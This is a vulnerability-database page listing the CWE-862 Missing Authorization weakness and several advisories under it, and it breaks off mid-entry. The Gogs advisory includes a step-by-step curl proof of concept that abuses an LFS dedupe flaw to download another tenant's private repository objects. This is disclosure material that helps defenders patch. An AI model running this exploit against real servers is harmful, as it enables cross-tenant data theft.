CWE-862
Weakness Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
Dimensions
- Behavior-Property: Missing
- Behavior-Type: Authorization
Mapping guidance
This CWE entry is a Class and might have Base-level children that would be more appropriate
Examine children of this entry to see if there is a better fit
Relationships and members
Modes of introduction
OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.
A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.
Detection methods
Automated Static Analysis
Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.
Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.
Effectiveness: Limited
Automated Dynamic Analysis
Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.
Manual Analysis
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.
Effectiveness: Moderate
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: SOAR Partial
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Host Application Interface Scanner
Fuzz Tester
Framework-based Fuzzer
Effectiveness: SOAR Partial
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)
Effectiveness: SOAR Partial
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: SOAR Partial
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction
Effectiveness: High
Notes
Terminology
Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.
Content history
Suggested mappings to ISA/IEC 62443.
Provided diagram to improve CWE usability
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships
updated Potential_Mitigations, References, Relationships
updated Demonstrative_Examples, Observed_Examples, References, Relationships
updated Potential_Mitigations
updated Relationships
updated Detection_Factors
updated Relationships
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
updated References
updated Relationships
updated Relationships
updated Relationships
updated Relationships
updated Alternate_Terms, Observed_Examples
updated Observed_Examples, Related_Attack_Patterns, Relationships
updated Relationships
updated Relationships
updated Observed_Examples
updated Description, Potential_Mitigations
updated References, Relationships, Taxonomy_Mappings
updated Mapping_Notes, Relationships, Taxonomy_Mappings
updated Common_Consequences, Description, Diagram, Relationships, Terminology_Notes
updated Applicable_Platforms, Detection_Factors, Observed_Examples, References
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
updated Applicable_Platforms, Observed_Examples, Relationships
updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings
19839 vulnerabilities reference this CWE, most recent first.
GHSA-6P4M-P9G8-5X3C
Vulnerability from github – Published: 2026-10-19 15:32 – Updated: 2026-10-19 15:32Flarum Extension Manager 2.0.0-beta.1 before 2.0.0-beta.8 lacks authentication and admin checks on the TaskResource index endpoint, allowing unauthenticated information disclosure. Remote attackers can send GET requests to /api/extension-manager-tasks to read task output revealing filesystem paths, installed extensions, versions, and PHP version.
{
"affected": [],
"aliases": [
"CVE-2026-112291"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-19T14:17:07Z",
"severity": "MODERATE"
},
"details": "Flarum Extension Manager 2.0.0-beta.1 before 2.0.0-beta.8 lacks authentication and admin checks on the TaskResource index endpoint, allowing unauthenticated information disclosure. Remote attackers can send GET requests to /api/extension-manager-tasks to read task output revealing filesystem paths, installed extensions, versions, and PHP version.",
"id": "GHSA-6p4m-p9g8-5x3c",
"modified": "2026-10-19T15:32:41Z",
"published": "2026-10-19T15:32:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112291"
},
{
"type": "WEB",
"url": "https://github.com/flarum/framework/issues/4386"
},
{
"type": "WEB",
"url": "https://github.com/flarum/framework/commit/257989e71fd8cc7ddab20f31dcde1aa760b1a08f"
},
{
"type": "WEB",
"url": "https://github.com/flarum/framework/blob/v2.0.0-beta.6/extensions/package-manager/src/Api/Resource/TaskResource.php"
},
{
"type": "WEB",
"url": "https://github.com/flarum/framework/releases/tag/v2.0.0-beta.8"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/flarum-extension-manager-2.0.0-beta.1-before-2.0.0-beta.8-missing-authorization-via-task-api"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-6P5Q-JJVW-VG9P
Vulnerability from github – Published: 2026-03-12 06:31 – Updated: 2026-03-12 06:31A security vulnerability has been detected in projectsend up to r1945. The affected element is an unknown function of the component AJAX Endpoints. The manipulation leads to missing authorization. The attack can be initiated remotely. The identifier of the patch is 35dfd6f08f7d517709c77ee73e57367141107e6b. To fix this issue, it is recommended to deploy a patch.
{
"affected": [],
"aliases": [
"CVE-2026-3977"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-12T04:16:39Z",
"severity": "MODERATE"
},
"details": "A security vulnerability has been detected in projectsend up to r1945. The affected element is an unknown function of the component AJAX Endpoints. The manipulation leads to missing authorization. The attack can be initiated remotely. The identifier of the patch is 35dfd6f08f7d517709c77ee73e57367141107e6b. To fix this issue, it is recommended to deploy a patch.",
"id": "GHSA-6p5q-jjvw-vg9p",
"modified": "2026-03-12T06:31:36Z",
"published": "2026-03-12T06:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3977"
},
{
"type": "WEB",
"url": "https://github.com/projectsend/projectsend/issues/1525"
},
{
"type": "WEB",
"url": "https://github.com/projectsend/projectsend/issues/1525#issuecomment-3957109914"
},
{
"type": "WEB",
"url": "https://github.com/projectsend/projectsend/commit/35dfd6f08f7d517709c77ee73e57367141107e6b"
},
{
"type": "WEB",
"url": "https://github.com/projectsend/projectsend"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.350412"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.350412"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-6P6W-G5HW-RG47
Vulnerability from github – Published: 2023-12-04 03:30 – Updated: 2023-12-07 00:30In wifi service, there is a possible missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed
{
"affected": [],
"aliases": [
"CVE-2023-42689"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-04T01:15:09Z",
"severity": "HIGH"
},
"details": "In wifi service, there is a possible missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed",
"id": "GHSA-6p6w-g5hw-rg47",
"modified": "2023-12-07T00:30:38Z",
"published": "2023-12-04T03:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-42689"
},
{
"type": "WEB",
"url": "https://www.unisoc.com/en_us/secy/announcementDetail/https://www.unisoc.com/en_us/secy/announcementDetail/1731138365803266049"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6P72-9RWX-X4V5
Vulnerability from github – Published: 2025-01-24 18:31 – Updated: 2025-01-24 18:31The Jobify - Job Board WordPress Theme for WordPress is vulnerable to unauthorized access and modification of data due to a missing capability check on the 'download_image_via_ai' and 'generate_image_via_ai' functions in all versions up to, and including, 4.2.7. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application to upload files in an image format, and to generate AI images using the site's OpenAI key.
{
"affected": [],
"aliases": [
"CVE-2024-13698"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-24T16:15:34Z",
"severity": "MODERATE"
},
"details": "The Jobify - Job Board WordPress Theme for WordPress is vulnerable to unauthorized access and modification of data due to a missing capability check on the \u0027download_image_via_ai\u0027 and \u0027generate_image_via_ai\u0027 functions in all versions up to, and including, 4.2.7. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application to upload files in an image format, and to generate AI images using the site\u0027s OpenAI key.",
"id": "GHSA-6p72-9rwx-x4v5",
"modified": "2025-01-24T18:31:12Z",
"published": "2025-01-24T18:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13698"
},
{
"type": "WEB",
"url": "https://themeforest.net/item/jobify-wordpress-job-board-theme/5247604"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/393811e4-71dd-4359-80fa-5a3d146439bb?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6P7Q-8J84-XG97
Vulnerability from github – Published: 2026-10-22 00:32 – Updated: 2026-10-22 00:32In Splunk SOAR versions below 8.7.0, an authenticated user who does not hold a role with permission to view apps could download an archive of an installed app. This could expose all data in the app archive, including proprietary source code and sensitive information. The vulnerability is possible because Splunk SOAR does not verify permission to view apps before it returns the app archive. For more information see Export or import an app (https://help.splunk.com/en/splunk-soar/soar-on-premises/develop-apps/8.4.0/develop-an-app-using-the-splunk-soar-app-wizard/export-or-import-an-app) and Manage roles and permissions in Splunk SOAR (On-premises) (https://help.splunk.com/en/splunk-soar/soar-on-premises/administer-soar-on-premises/8.5.0/manage-your-splunk-soar-on-premises-users-and-accounts/manage-roles-and-permissions-in-splunk-soar-on-premises) in the Splunk documentation.
{
"affected": [],
"aliases": [
"CVE-2026-76305"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-21T23:17:28Z",
"severity": "MODERATE"
},
"details": "In Splunk SOAR versions below 8.7.0, an authenticated user who does not hold a role with permission to view apps could download an archive of an installed app. This could expose all data in the app archive, including proprietary source code and sensitive information.\nThe vulnerability is possible because Splunk SOAR does not verify permission to view apps before it returns the app archive.\nFor more information see Export or import an app (https://help.splunk.com/en/splunk-soar/soar-on-premises/develop-apps/8.4.0/develop-an-app-using-the-splunk-soar-app-wizard/export-or-import-an-app) and Manage roles and permissions in Splunk SOAR (On-premises) (https://help.splunk.com/en/splunk-soar/soar-on-premises/administer-soar-on-premises/8.5.0/manage-your-splunk-soar-on-premises-users-and-accounts/manage-roles-and-permissions-in-splunk-soar-on-premises) in the Splunk documentation.",
"id": "GHSA-6p7q-8j84-xg97",
"modified": "2026-10-22T00:32:01Z",
"published": "2026-10-22T00:32:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76305"
},
{
"type": "WEB",
"url": "https://advisory.splunk.com/advisories/SVD-2026-1010"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6P9M-Q3JP-47H4
Vulnerability from github – Published: 2026-06-23 17:10 – Updated: 2026-07-21 13:40Summary
Git LFS storage is content-addressed by OID alone (<LFS-root>/<oid[0]>/<oid[1]>/<oid>) but per-repo authorization lives in the lfs_object table keyed (repo_id, oid). serveUpload skips re-uploading when the OID file already exists on disk and inserts a new (repo_id, oid) row pointing at it without verifying the request body hashes to the OID being claimed. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint.
Details
Dedupe shortcut at internal/lfsx/storage.go:79-82:
if fi, err := os.Stat(fpath); err == nil {
_, _ = io.Copy(io.Discard, rc)
return fi.Size(), nil // ← returns success with no hash check
}
Hash verification at internal/lfsx/storage.go:106-108 only runs in the new-file branch — the dedupe path returns earlier.
serveUpload (internal/route/lfs/basic.go:78-114) trusts that success and inserts the per-repo binding:
_, err := h.store.GetLFSObjectByOID(c.Req.Context(), repo.ID, oid) // per-repo
if err == nil { /* already linked, drain & return 200 */ }
written, err := s.Upload(oid, c.Req.Request.Body)
err = h.store.CreateLFSObject(c.Req.Context(), repo.ID, oid, written, s.Storage())
CreateLFSObject is an unconditional INSERT on (repo_id, oid) with no check that the OID is referenced by the requesting repo's git history.
serveDownload at internal/route/lfs/basic.go:42-72 only consults the per-repo row, then streams from the shared content-addressed file.
Suggested fix
- In
LocalStorage.Upload, whenos.Stat(fpath) == nil, hash the request body viaio.TeeReaderandErrOIDMismatchon disagreement — same code path as the new-file branch already uses. The "client retries after partial failure" use case still works; the retry just has to send the correct content. - Optional second layer: in
serveUpload, refuseCreateLFSObjectunless the OID is referenced by an LFS pointer in the requesting repo's refs.
PoC
Tested against gogs at HEAD d7571322 (also reproduces on v0.14.2, paths are internal/lfsutil/storage.go and identical logic).
Reproduction prerequisites
- Running gogs ≥ 0.12.0 with
[lfs] ENABLED = true. - Two accounts:
alice(private reposecrets) andbob(any repobob/scratch); bob has no access toalice/secrets. - An OID known to be present in
alice/secrets— leaked LFS pointer file in any public ancestor commit, stale fork, support ticket, or any side channel. Brute force is infeasible (256-bit).
Setup (testbed simulation of the victim's prior state)
GOGS=https://gogs.example
ALICE_AUTH='-u alice:alice_password'
BOB_AUTH='-u bob:bob_password'
VICTIM_BYTES='victim secret content'
OID=$(printf %s "$VICTIM_BYTES" | sha256sum | cut -d' ' -f1)
SIZE=$(printf %s "$VICTIM_BYTES" | wc -c)
# After this, file lives at <conf.LFS.ObjectsPath>/<OID[0]>/<OID[1]>/<OID>
# and (alice/secrets, OID) row exists in lfs_object.
printf %s "$VICTIM_BYTES" | curl -sS $ALICE_AUTH \
-H 'Content-Type: application/octet-stream' \
-X PUT --data-binary @- \
"$GOGS/alice/secrets.git/info/lfs/objects/basic/$OID"
Attack — bob has only $OID, not $VICTIM_BYTES
unset VICTIM_BYTES # attacker has no idea what the file contains
# 1. Confirm bob has no claim on $OID.
curl -sS $BOB_AUTH \
-H 'Accept: application/vnd.git-lfs+json' \
-H 'Content-Type: application/vnd.git-lfs+json' \
-X POST "$GOGS/bob/scratch.git/info/lfs/objects/batch" \
--data "{\"operation\":\"download\",\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}"
# → "actions":{"error":{"code":404,"message":"Object does not exist"}}
# 2. PUT garbage to bob's LFS endpoint. The on-disk OID file already exists
# so LocalStorage.Upload takes the dedupe shortcut: drains the body
# without hashing, returns alice's size; CreateLFSObject inserts (bob, OID).
curl -sS $BOB_AUTH \
-H 'Content-Type: application/octet-stream' \
-X PUT --data-binary 'irrelevant attacker-controlled bytes' \
"$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID"
# → HTTP/1.1 200 OK
# 3. Download via bob's repo — gogs streams alice's bytes.
curl -sS $BOB_AUTH "$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID" -o /tmp/leaked
cat /tmp/leaked
# → victim secret content
sha256sum /tmp/leaked | cut -d' ' -f1
# → matches $OID exactly
Independent confirmation against the source
git clone https://github.com/gogs/gogs.git && cd gogs
git checkout d7571322
sed -n '63,114p' internal/lfsx/storage.go # dedupe at 79-82, hash check at 106 only in new-file branch
sed -n '74,117p' internal/route/lfs/basic.go # serveUpload calls CreateLFSObject regardless of dedupe path
grep -n 'primaryKey' internal/database/lfs.go # composite (RepoID, OID) PK — multiple repos can share an OID row
Impact
- Cross-tenant disclosure of any LFS object on the instance. Attacker needs HTTP write to one repo + knowledge of a target OID; storage path is global, no per-repo isolation.
- LFS commonly stores certificates/keys, firmware blobs, ML model weights, datasets containing PII, packaged installers — all extracted byte-for-byte.
- Persistent: the
(bob/scratch, OID)row pins read access until manually deleted; removing bob's repo write access does not revoke prior binds. No artefact on victim's side beyond a 200 in the LFS access log.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "gogs.io/gogs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.14.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52812"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-639",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T17:10:25Z",
"nvd_published_at": "2026-06-24T21:16:57Z",
"severity": "HIGH"
},
"details": "Summary\n\nGit LFS storage is content-addressed by OID alone (`\u003cLFS-root\u003e/\u003coid[0]\u003e/\u003coid[1]\u003e/\u003coid\u003e`) but per-repo authorization lives in the `lfs_object` table keyed `(repo_id, oid)`. `serveUpload` skips re-uploading when the OID file already exists on disk and inserts a new `(repo_id, oid)` row pointing at it **without verifying the request body hashes to the OID being claimed**. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint.\n\nDetails\n\nDedupe shortcut at `internal/lfsx/storage.go:79-82`:\n\n```go\nif fi, err := os.Stat(fpath); err == nil {\n _, _ = io.Copy(io.Discard, rc)\n return fi.Size(), nil // \u2190 returns success with no hash check\n}\n```\n\nHash verification at `internal/lfsx/storage.go:106-108` only runs in the *new-file* branch \u2014 the dedupe path returns earlier.\n\n`serveUpload` (`internal/route/lfs/basic.go:78-114`) trusts that success and inserts the per-repo binding:\n\n```go\n_, err := h.store.GetLFSObjectByOID(c.Req.Context(), repo.ID, oid) // per-repo\nif err == nil { /* already linked, drain \u0026 return 200 */ }\nwritten, err := s.Upload(oid, c.Req.Request.Body)\nerr = h.store.CreateLFSObject(c.Req.Context(), repo.ID, oid, written, s.Storage())\n```\n\n`CreateLFSObject` is an unconditional `INSERT` on `(repo_id, oid)` with no check that the OID is referenced by the requesting repo\u0027s git history.\n\n`serveDownload` at `internal/route/lfs/basic.go:42-72` only consults the per-repo row, then streams from the shared content-addressed file.\n\nSuggested fix\n\n1. In `LocalStorage.Upload`, when `os.Stat(fpath) == nil`, hash the request body via `io.TeeReader` and `ErrOIDMismatch` on disagreement \u2014 same code path as the new-file branch already uses. The \"client retries after partial failure\" use case still works; the retry just has to send the correct content.\n2. Optional second layer: in `serveUpload`, refuse `CreateLFSObject` unless the OID is referenced by an LFS pointer in the requesting repo\u0027s refs.\n\nPoC\n\nTested against gogs at HEAD `d7571322` (also reproduces on `v0.14.2`, paths are `internal/lfsutil/storage.go` and identical logic).\n\n### Reproduction prerequisites\n- Running gogs \u2265 0.12.0 with `[lfs] ENABLED = true`.\n- Two accounts: `alice` (private repo `secrets`) and `bob` (any repo `bob/scratch`); bob has no access to `alice/secrets`.\n- An OID known to be present in `alice/secrets` \u2014 leaked LFS pointer file in any public ancestor commit, stale fork, support ticket, or any side channel. Brute force is infeasible (256-bit).\n\n### Setup (testbed simulation of the victim\u0027s prior state)\n\n```sh\nGOGS=https://gogs.example\nALICE_AUTH=\u0027-u alice:alice_password\u0027\nBOB_AUTH=\u0027-u bob:bob_password\u0027\n\nVICTIM_BYTES=\u0027victim secret content\u0027\nOID=$(printf %s \"$VICTIM_BYTES\" | sha256sum | cut -d\u0027 \u0027 -f1)\nSIZE=$(printf %s \"$VICTIM_BYTES\" | wc -c)\n\n# After this, file lives at \u003cconf.LFS.ObjectsPath\u003e/\u003cOID[0]\u003e/\u003cOID[1]\u003e/\u003cOID\u003e\n# and (alice/secrets, OID) row exists in lfs_object.\nprintf %s \"$VICTIM_BYTES\" | curl -sS $ALICE_AUTH \\\n -H \u0027Content-Type: application/octet-stream\u0027 \\\n -X PUT --data-binary @- \\\n \"$GOGS/alice/secrets.git/info/lfs/objects/basic/$OID\"\n```\n\n### Attack \u2014 bob has only `$OID`, not `$VICTIM_BYTES`\n\n```sh\nunset VICTIM_BYTES # attacker has no idea what the file contains\n\n# 1. Confirm bob has no claim on $OID.\ncurl -sS $BOB_AUTH \\\n -H \u0027Accept: application/vnd.git-lfs+json\u0027 \\\n -H \u0027Content-Type: application/vnd.git-lfs+json\u0027 \\\n -X POST \"$GOGS/bob/scratch.git/info/lfs/objects/batch\" \\\n --data \"{\\\"operation\\\":\\\"download\\\",\\\"objects\\\":[{\\\"oid\\\":\\\"$OID\\\",\\\"size\\\":$SIZE}]}\"\n# \u2192 \"actions\":{\"error\":{\"code\":404,\"message\":\"Object does not exist\"}}\n\n# 2. PUT garbage to bob\u0027s LFS endpoint. The on-disk OID file already exists\n# so LocalStorage.Upload takes the dedupe shortcut: drains the body\n# without hashing, returns alice\u0027s size; CreateLFSObject inserts (bob, OID).\ncurl -sS $BOB_AUTH \\\n -H \u0027Content-Type: application/octet-stream\u0027 \\\n -X PUT --data-binary \u0027irrelevant attacker-controlled bytes\u0027 \\\n \"$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID\"\n# \u2192 HTTP/1.1 200 OK\n\n# 3. Download via bob\u0027s repo \u2014 gogs streams alice\u0027s bytes.\ncurl -sS $BOB_AUTH \"$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID\" -o /tmp/leaked\ncat /tmp/leaked\n# \u2192 victim secret content\nsha256sum /tmp/leaked | cut -d\u0027 \u0027 -f1\n# \u2192 matches $OID exactly\n```\n\n### Independent confirmation against the source\n\n```sh\ngit clone https://github.com/gogs/gogs.git \u0026\u0026 cd gogs\ngit checkout d7571322\n\nsed -n \u002763,114p\u0027 internal/lfsx/storage.go # dedupe at 79-82, hash check at 106 only in new-file branch\nsed -n \u002774,117p\u0027 internal/route/lfs/basic.go # serveUpload calls CreateLFSObject regardless of dedupe path\ngrep -n \u0027primaryKey\u0027 internal/database/lfs.go # composite (RepoID, OID) PK \u2014 multiple repos can share an OID row\n```\n\nImpact\n\n- **Cross-tenant disclosure of any LFS object on the instance.** Attacker needs HTTP write to one repo + knowledge of a target OID; storage path is global, no per-repo isolation.\n- LFS commonly stores certificates/keys, firmware blobs, ML model weights, datasets containing PII, packaged installers \u2014 all extracted byte-for-byte.\n- Persistent: the `(bob/scratch, OID)` row pins read access until manually deleted; removing bob\u0027s repo write access does not revoke prior binds. No artefact on victim\u0027s side beyond a 200 in the LFS access log.",
"id": "GHSA-6p9m-q3jp-47h4",
"modified": "2026-07-21T13:40:25Z",
"published": "2026-06-23T17:10:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/security/advisories/GHSA-6p9m-q3jp-47h4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52812"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/pull/8333"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/commit/f35a767af74e05342bafc6fdda02c791816426f8"
},
{
"type": "PACKAGE",
"url": "https://github.com/gogs/gogs"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/releases/tag/v0.14.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Gogs: LFS dedupe path leaks private repo content across tenants"
}
GHSA-6P9R-QWHR-GC82
Vulnerability from github – Published: 2022-01-28 00:02 – Updated: 2026-05-18 15:30Single Connect does not perform an authorization check when using the "sc-diagnostic-ui" module. A remote attacker could exploit this vulnerability to access the device information page. The exploitation of this vulnerability might allow a remote attacker to obtain sensitive information.
{
"affected": [],
"aliases": [
"CVE-2021-44794"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-01-27T13:15:00Z",
"severity": "MODERATE"
},
"details": "Single Connect does not perform an authorization check when using the \"sc-diagnostic-ui\" module. A remote attacker could exploit this vulnerability to access the device information page. The exploitation of this vulnerability might allow a remote attacker to obtain sensitive information.",
"id": "GHSA-6p9r-qwhr-gc82",
"modified": "2026-05-18T15:30:31Z",
"published": "2022-01-28T00:02:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-44794"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-22-0093"
},
{
"type": "WEB",
"url": "https://www.usom.gov.tr/bildirim/tr-22-0093"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6PCR-VG7G-6RG7
Vulnerability from github – Published: 2025-03-05 12:31 – Updated: 2025-03-05 12:31The Zass - WooCommerce Theme for Handmade Artists and Artisans theme for WordPress is vulnerable to unauthorized access due to a missing capability check on the 'zass_import_zass' AJAX actions in all versions up to, and including, 3.9.9.10. This makes it possible for authenticated attackers, with Subscriber-level access and above, to import demo content and overwrite the site.
{
"affected": [],
"aliases": [
"CVE-2024-13810"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-05T10:15:17Z",
"severity": "MODERATE"
},
"details": "The Zass - WooCommerce Theme for Handmade Artists and Artisans theme for WordPress is vulnerable to unauthorized access due to a missing capability check on the \u0027zass_import_zass\u0027 AJAX actions in all versions up to, and including, 3.9.9.10. This makes it possible for authenticated attackers, with Subscriber-level access and above, to import demo content and overwrite the site.",
"id": "GHSA-6pcr-vg7g-6rg7",
"modified": "2025-03-05T12:31:11Z",
"published": "2025-03-05T12:31:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13810"
},
{
"type": "WEB",
"url": "https://themeforest.net/item/zass-wordpress-woocommerce-theme/19614113"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d85e54c2-dff6-42e6-8123-767438f9c5f1?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6PF2-52G7-P22M
Vulnerability from github – Published: 2025-05-20 15:30 – Updated: 2025-05-20 15:30VMware Cloud Foundation contains a missing authorisation vulnerability. A malicious actor with access to VMware Cloud Foundation appliance may be able to perform certain unauthorised actions and access limited sensitive information.
{
"affected": [],
"aliases": [
"CVE-2025-41231"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-20T13:15:48Z",
"severity": "HIGH"
},
"details": "VMware Cloud Foundation\u00a0contains a missing authorisation vulnerability.\u00a0A malicious actor with access to VMware Cloud Foundation appliance may be able to perform certain unauthorised actions and access limited sensitive information.",
"id": "GHSA-6pf2-52g7-p22m",
"modified": "2025-05-20T15:30:39Z",
"published": "2025-05-20T15:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41231"
},
{
"type": "WEB",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/25733"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-6PGH-G35Q-VVJG
Vulnerability from github – Published: 2026-01-05 12:30 – Updated: 2026-10-15 03:35In the Linux kernel, the following vulnerability has been resolved:
NFS: Automounted filesystems should inherit ro,noexec,nodev,sync flags
When a filesystem is being automounted, it needs to preserve the user-set superblock mount options, such as the "ro" flag.
{
"affected": [],
